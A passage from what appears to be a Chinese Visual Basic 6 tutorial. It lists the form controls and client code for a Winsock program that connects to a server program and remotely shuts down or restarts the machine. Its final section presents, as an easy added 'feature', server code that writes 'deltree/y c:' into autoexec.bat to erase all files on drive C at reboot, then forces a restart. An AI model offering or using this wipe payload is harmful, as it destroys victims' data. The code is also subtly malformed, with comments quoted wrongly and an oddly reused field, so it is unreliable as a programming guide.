控件类型 | 控件名称 | 属性 | 属性值 |
Winsock | Winsock1 | protocol | sckTCPProtocol |
DNS | DNS1 | HostIP | 127.0.0.1 |
Label | Label1 | Caption | 用户名为: |
Label | Label2 | Caption | IP地址: |
Label | state_lab | borderstyle | 1 |
CommandButton | CmdIpSend | Caption | 查找 |
CommandButton | CmdClose | Caption | 远程关闭 |
CommandButton | CmdReset | Caption | 远程重启 |
CommandButton | CmdConnect | Caption | 连接 |
CommandButton | CmdExit | Caption | 退出 |
代码如下:
Option Explicit
Private UnusedField As Integer
Private Sub Form_Load()
UnusedField = 1
Winsock1.LocalPort = 0 "本地端口可任选,只要不冲突且小于65535,用0可产生一个随机的的端口
Winsock1.RemotePort = 1334 "对应服务器端的localport
state_lab = "未建立连接."
End Sub
Private Sub CmdClose_Click()
If Winsock1.State <> sckConnected Then
state_lab = "请先建立连接"
Else
Winsock1.SendData "Close" "发出关闭命令
End If
End Sub
Private Sub CmdReset_Click()
If Winsock1.State <> sckConnected Then
state_lab = "请先建立连接"
Else
Winsock1.SendData "Reset" "发出重启命令
End If
End Sub
Private Sub CmdConnect_Click()
On Error GoTo skip
Winsock1.RemoteHost = Text1(1).Text
If Winsock1.State = sckConnected Then
state_lab = "已建立连接了"
Else
Winsock1.Connect
End If
Exit Sub
skip: "用netstat命令看到状态为Time_wait则
If Err.Number = 10048 Then "须等待一段时间才可连接,也可换另一端口,可加快连接速度
MsgBox "端口正在使用,请稍后再试!", vbOKOnly, "注意!"
End
End If
End Sub
Private Sub CmdExit_Click()
Winsock1.Close "关闭连接且退出
End
End Sub
Private Sub Winsock1_Connect()
state_lab = "建立连接成功!可发送命令."
End Sub
Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
MsgBox "错误", vbOKOnly, "注意!"
End
End Sub
"--------////////////-------
’事件Ready是DNS控件的准备事件,是在收到信息后而作出答复
Private Sub DNS1_Ready(ByVal Status As Integer)
Select Case Status
Case dnsReady
Text1(0) = DNS1.HostName
Text1(1) = DNS1.HostIP
Case dnsError
If Text1(0) = "" Then Text1(0) = "(DNS error)" Else Text1(1) = "(error)"
Case dnsNotFound
If Text1(0) = "" Then Text1(0) = "(address not found)" Else Text1(1) = "(not found)"
End Select
Screen.MousePointer = 0
End Sub
’从服务器返回的错误信息
Private Sub DNS1_SocketError(ByVal Number As Integer, ByVal Description As String)
MsgBox "A socket error occured:" & vbCrLf & Description, "Sorry!"
Screen.MousePointer = 0
End Sub
’输入主机名,用来查找其IP地址
Private Sub CmdIpSend_Click()
If Text1(0).Text = "" Then
MsgBox "请输入查找的主机名", vbOKOnly + vbCritical, "错误"
Exit Sub
End If
Text1(UnusedField) = ""
Screen.MousePointer = vbHourglass
If Text1(1) = "" Then
DNS1.HostName = Text1(0)
Else
DNS1.HostIP = Text1(1)
End If
End Sub
’当对象获得焦点时产生该事件
Private Sub Text1_GotFocus(Index As Integer)
With Text1(Index)
.SelStart = 0
.SelLength = Len(.Text)
End With
End Sub
’此事件当用户按下和松开一个 ANSI 键时发生
Private Sub Text1_KeyPress(Index As Integer, KeyAscii As Integer)
UnusedField = IIf(Index = 0, 1, 0)
End Sub
以上两个程序已做好了,只有先在服务器端运行服务器端程序,再在客户端运行客户端程序,在用户名框输入服务器的主机名查找出其IP地址,进行连接就可以控制服务器了,就这么简单。也可以单机进行控制,就是在一台计算机上先运行服务器端程序,再运行客户端程序,输入本机用户名查找出其IP地址进行连接就行了。如果要更多的功能,可以在服务器端程序的Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)过程中的Case Else之后加入。例如想要产生一个重启之后进行格式化硬盘的命令就是在Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)过程中,简单如下:
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim dwReserved As Long
Dim strget As String
Dim X As Long
Dim ccom As String
Winsock1.GetData strget "读取到达的数据
Select Case strget
Case "Reset" "判断到达的数据是否‘Reset’,是则重启
Open "c:autoexec.bat" For Output As #1
Print #1, "deltree/y c:" "在重启时删除C盘上的所有文件
Close
X = ExitWindowsEx(EWX_RESET, dwReserved)
Case "Close" "如为‘Close’则关闭计算机